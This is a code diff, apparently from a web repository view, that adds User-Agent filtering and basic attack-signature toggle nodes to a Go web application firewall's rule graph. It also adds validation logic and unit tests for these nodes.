graph := RuleGraph{SchemaVersion: RuleGraphSchemaVersion, Nodes: []RuleNode{
|
||||
{ID: "start", Type: RuleNodeStart, Config: rawConfig(`{}`)},
|
||||
{ID: "ua", Type: RuleNodeUACheck, Config: rawConfig(`{"browsers":["Safari","Chrome","Chrome"],"operating_systems":["iOS","Android"],"require_ua":true,"block_common_bots":true}`)},
|
||||
{ID: "allow", Type: RuleNodeAllow, Config: rawConfig(`{}`)},
|
||||
{ID: "block", Type: RuleNodeBlock, Config: rawConfig(`{"status_code":403}`)},
|
||||
}, Edges: []RuleEdge{
|
||||
{ID: "e1", Source: "start", SourceHandle: "next", Target: "ua"},
|
||||
{ID: "e2", Source: "ua", SourceHandle: "true", Target: "allow"},
|
||||
{ID: "e3", Source: "ua", SourceHandle: "false", Target: "block"},
|
||||
}}
|
||||
compiled, err := CompileRuleGraph(graph)
|
||||
if err != nil {
|
||||
t.Fatalf("CompileRuleGraph() error = %v", err)
|
||||
}
|
||||
cfg, ok := compiled.Nodes["ua"].Config.(UACheckConfig)
|
||||
if !ok {
|
||||
t.Fatalf("config type = %T", compiled.Nodes["ua"].Config)
|
||||
}
|
||||
if !reflect.DeepEqual(cfg.Browsers, []string{"Chrome", "Safari"}) {
|
||||
t.Fatalf("browsers = %#v", cfg.Browsers)
|
||||
}
|
||||
if !reflect.DeepEqual(cfg.OperatingSystems, []string{"Android", "iOS"}) {
|
||||
t.Fatalf("os = %#v", cfg.OperatingSystems)
|
||||
}
|
||||
if cfg.MatchMode != UACheckMatchModeOr {
|
||||
t.Fatalf("match_mode = %q, want or", cfg.MatchMode)
|
||||
}
|
||||
if !cfg.RequireUA || !cfg.BlockCommonBots || cfg.BlockAbnormalUA {
|
||||
t.Fatalf("flags = %#v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileRuleGraphIsDeterministicForNodeAndEdgeOrder(t *testing.T) {
|
||||
first := RuleGraph{SchemaVersion: RuleGraphSchemaVersion, Nodes: []RuleNode{
|
||||
{ID: "start", Type: RuleNodeStart, Config: rawConfig(`{}`)},
|
||||
|
||||
@@ -24,6 +24,10 @@ const (
|
||||
RuleNodeGeoMatch RuleNodeType = "geo_match"
|
||||
// RuleNodePoW runs a proof-of-work challenge before continuing.
|
||||
RuleNodePoW RuleNodeType = "pow"
|
||||
// RuleNodeUACheck branches on User-Agent presence, classification, and lists.
|
||||
RuleNodeUACheck RuleNodeType = "ua_check"
|
||||
// RuleNodeSecurityCheck branches on basic request payload attack signatures.
|
||||
RuleNodeSecurityCheck RuleNodeType = "security_check"
|
||||
)
|
||||
|
||||
// RuleGraph is the editor-facing representation of an executable WAF graph.
|
||||
@@ -83,6 +87,46 @@ type BlockNodeConfig struct {
|
||||
ResponseBody string `json:"response_body,omitempty"`
|
||||
}
|
||||
|
||||
// UACheckConfig configures User-Agent presence, whitelist, and block switches.
|
||||
type UACheckConfig struct {
|
||||
RequireUA bool `json:"require_ua"`
|
||||
Browsers []string `json:"browsers,omitempty"`
|
||||
OperatingSystems []string `json:"operating_systems,omitempty"`
|
||||
MatchMode string `json:"match_mode,omitempty"`
|
||||
BlockCommonBots bool `json:"block_common_bots"`
|
||||
BlockAbnormalUA bool `json:"block_abnormal_ua"`
|
||||
BlockCustomUA bool `json:"block_custom_ua"`
|
||||
CustomUAPatterns []string `json:"custom_ua_patterns,omitempty"`
|
||||
}
|
||||
|
||||
// UA check match modes.
|
||||
const (
|
||||
UACheckMatchModeAnd = "and"
|
||||
UACheckMatchModeOr = "or"
|
||||
)
|
||||
|
||||
// SecurityCheckConfig toggles basic payload signature protections.
|
||||
// Default graph nodes enable path_traversal and file_inclusion only.
|
||||
type SecurityCheckConfig struct {
|
||||
SQLInjection bool `json:"sql_injection"`
|
||||
PathTraversal bool `json:"path_traversal"`
|
||||
CommandInjection bool `json:"command_injection"`
|
||||
XSS bool `json:"xss"`
|
||||
SSRF bool `json:"ssrf"`
|
||||
FileInclusion bool `json:"file_inclusion"`
|
||||
MaliciousUpload bool `json:"malicious_upload"`
|
||||
XXE bool `json:"xxe"`
|
||||
CRLFInjection bool `json:"crlf_injection"`
|
||||
}
|
||||
|
||||
// DefaultSecurityCheckConfig returns low false-positive defaults.
|
||||
func DefaultSecurityCheckConfig() SecurityCheckConfig {
|
||||
return SecurityCheckConfig{
|
||||
PathTraversal: true,
|
||||
FileInclusion: true,
|
||||
}
|
||||
}
|
||||
|
||||
// DefaultRuleGraph returns the minimal start-to-allow graph.
|
||||
func DefaultRuleGraph() RuleGraph {
|
||||
return RuleGraph{SchemaVersion: RuleGraphSchemaVersion, Nodes: []RuleNode{
|
||||
|
||||
@@ -16,9 +16,11 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
maxRuleGraphNodes = 128
|
||||
maxRuleGraphEdges = 256
|
||||
maxRuleGraphBytes = 256 * 1024
|
||||
maxRuleGraphNodes = 128
|
||||
maxRuleGraphEdges = 256
|
||||
maxRuleGraphBytes = 256 * 1024
|
||||
maxUACustomPatterns = 32
|
||||
maxUACustomPatternBytes = 256
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -87,7 +89,7 @@ func validateRuleGraphNodes(ctx context.Context, graphNodes []RuleNode, ipGroupE
|
||||
startID = node.ID
|
||||
case RuleNodeAllow:
|
||||
allowCount++
|
||||
case RuleNodeBlock, RuleNodeIPMatch, RuleNodeGeoMatch, RuleNodePoW:
|
||||
case RuleNodeBlock, RuleNodeIPMatch, RuleNodeGeoMatch, RuleNodePoW, RuleNodeUACheck, RuleNodeSecurityCheck:
|
||||
default:
|
||||
return nil, "", fmt.Errorf("节点 %s 的类型 %s 未知", node.ID, node.Type)
|
||||
}
|
||||
@@ -180,6 +182,10 @@ func validateRuleNodeConfig(ctx context.Context, node RuleNode, exists func(cont
|
||||
return validateGeoMatchNodeConfig(node)
|
||||
case RuleNodePoW:
|
||||
return validatePoWNodeConfig(node)
|
||||
case RuleNodeUACheck:
|
||||
return validateUACheckNodeConfig(node)
|
||||
case RuleNodeSecurityCheck:
|
||||
return validateSecurityCheckNodeConfig(node)
|
||||
case RuleNodeBlock:
|
||||
return validateBlockNodeConfig(node)
|
||||
}
|
||||
@@ -283,6 +289,64 @@ func validateBlockNodeConfig(node RuleNode) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateUACheckNodeConfig(node RuleNode) error {
|
||||
var cfg UACheckConfig
|
||||
if err := decodeNodeConfig(node, &cfg); err != nil {
|
||||
return err
|
||||
}
|
||||
mode := cfg.MatchMode
|
||||
if mode == "" {
|
||||
mode = UACheckMatchModeOr
|
||||
}
|
||||
if mode != UACheckMatchModeAnd && mode != UACheckMatchModeOr {
|
||||
return fmt.Errorf("节点 %s 的匹配模式必须为 and 或 or", node.ID)
|
||||
}
|
||||
for _, label := range cfg.Browsers {
|
||||
if !uaBrowserLabels[label] {
|
||||
return fmt.Errorf("节点 %s 的浏览器标签 %s 无效", node.ID, label)
|
||||
}
|
||||
}
|
||||
for _, label := range cfg.OperatingSystems {
|
||||
if !uaOSLabels[label] {
|
||||
return fmt.Errorf("节点 %s 的操作系统标签 %s 无效", node.ID, label)
|
||||
}
|
||||
}
|
||||
if len(cfg.CustomUAPatterns) > maxUACustomPatterns {
|
||||
return fmt.Errorf("节点 %s 的自定义 UA 正则不能超过 %d 条", node.ID, maxUACustomPatterns)
|
||||
}
|
||||
for _, pattern := range cfg.CustomUAPatterns {
|
||||
if strings.TrimSpace(pattern) == "" {
|
||||
return fmt.Errorf("节点 %s 的自定义 UA 正则不能为空", node.ID)
|
||||
}
|
||||
if len(pattern) > maxUACustomPatternBytes {
|
||||
return fmt.Errorf("节点 %s 的自定义 UA 正则不能超过 %d 字节", node.ID, maxUACustomPatternBytes)
|
||||
}
|
||||
if _, err := regexp.Compile(pattern); err != nil {
|
||||
return fmt.Errorf("节点 %s 的自定义 UA 正则无效: %s", node.ID, pattern)
|
||||
}
|
||||
}
|
||||
if cfg.BlockCustomUA && len(cfg.CustomUAPatterns) == 0 {
|
||||
return fmt.Errorf("节点 %s 开启屏蔽自定义 UA 时至少需要一条正则", node.ID)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateSecurityCheckNodeConfig(node RuleNode) error {
|
||||
var cfg SecurityCheckConfig
|
||||
return decodeNodeConfig(node, &cfg)
|
||||
}
|
||||
|
||||
var uaBrowserLabels = map[string]bool{
|
||||
"Chrome": true, "Safari": true, "Firefox": true, "Edge": true, "Opera": true,
|
||||
"Chromium": true, "WeChat": true, "Postman": true, "CLI": true, "Bot": true,
|
||||
"Unknown": true, "Other": true,
|
||||
}
|
||||
|
||||
var uaOSLabels = map[string]bool{
|
||||
"Android": true, "iOS": true, "Windows": true, "macOS": true, "Chrome OS": true,
|
||||
"Linux": true, "Bot": true, "Unknown": true, "Other": true,
|
||||
}
|
||||
|
||||
func decodeNodeConfig(node RuleNode, dst any) error {
|
||||
if err := decodeStrictConfig(node.Config, dst); err != nil {
|
||||
return fmt.Errorf("节点 %s 的配置无效: %w", node.ID, err)
|
||||
@@ -321,7 +385,7 @@ func requiredHandles(t RuleNodeType) []string {
|
||||
switch t {
|
||||
case RuleNodeStart, RuleNodePoW:
|
||||
return []string{"next"}
|
||||
case RuleNodeIPMatch, RuleNodeGeoMatch:
|
||||
case RuleNodeIPMatch, RuleNodeGeoMatch, RuleNodeUACheck, RuleNodeSecurityCheck:
|
||||
return []string{"true", "false"}
|
||||
default:
|
||||
return nil
|
||||
|
||||
@@ -77,6 +77,22 @@ func TestValidateRuleGraph(t *testing.T) {
|
||||
g.Edges[1].SourceHandle = "next"
|
||||
g.Edges = g.Edges[:2]
|
||||
}, "节点 match-1 的 PoW 难度必须在 1-16 之间"},
|
||||
{"invalid ua browser", func(g *RuleGraph) {
|
||||
g.Nodes[1].Type = RuleNodeUACheck
|
||||
g.Nodes[1].Config = rawConfig(`{"browsers":["NotABrowser"],"match_mode":"or"}`)
|
||||
}, "节点 match-1 的浏览器标签 NotABrowser 无效"},
|
||||
{"invalid ua match mode", func(g *RuleGraph) {
|
||||
g.Nodes[1].Type = RuleNodeUACheck
|
||||
g.Nodes[1].Config = rawConfig(`{"match_mode":"xor"}`)
|
||||
}, "节点 match-1 的匹配模式必须为 and 或 or"},
|
||||
{"invalid ua custom regex", func(g *RuleGraph) {
|
||||
g.Nodes[1].Type = RuleNodeUACheck
|
||||
g.Nodes[1].Config = rawConfig(`{"block_custom_ua":true,"custom_ua_patterns":["("]}`)
|
||||
}, "节点 match-1 的自定义 UA 正则无效"},
|
||||
{"custom ua requires patterns", func(g *RuleGraph) {
|
||||
g.Nodes[1].Type = RuleNodeUACheck
|
||||
g.Nodes[1].Config = rawConfig(`{"block_custom_ua":true}`)
|
||||
}, "节点 match-1 开启屏蔽自定义 UA 时至少需要一条正则"},
|
||||
{"unknown config field", func(g *RuleGraph) { g.Nodes[1].Config = rawConfig(`{"ips":[],"surprise":true}`) }, "节点 match-1 的配置无效"},
|
||||
{"null config", func(g *RuleGraph) { g.Nodes[1].Config = rawConfig(`null`) }, "节点 match-1 的配置无效"},
|
||||
{"too many nodes", func(g *RuleGraph) {
|
||||
|
||||
Reference in New Issue
Block a user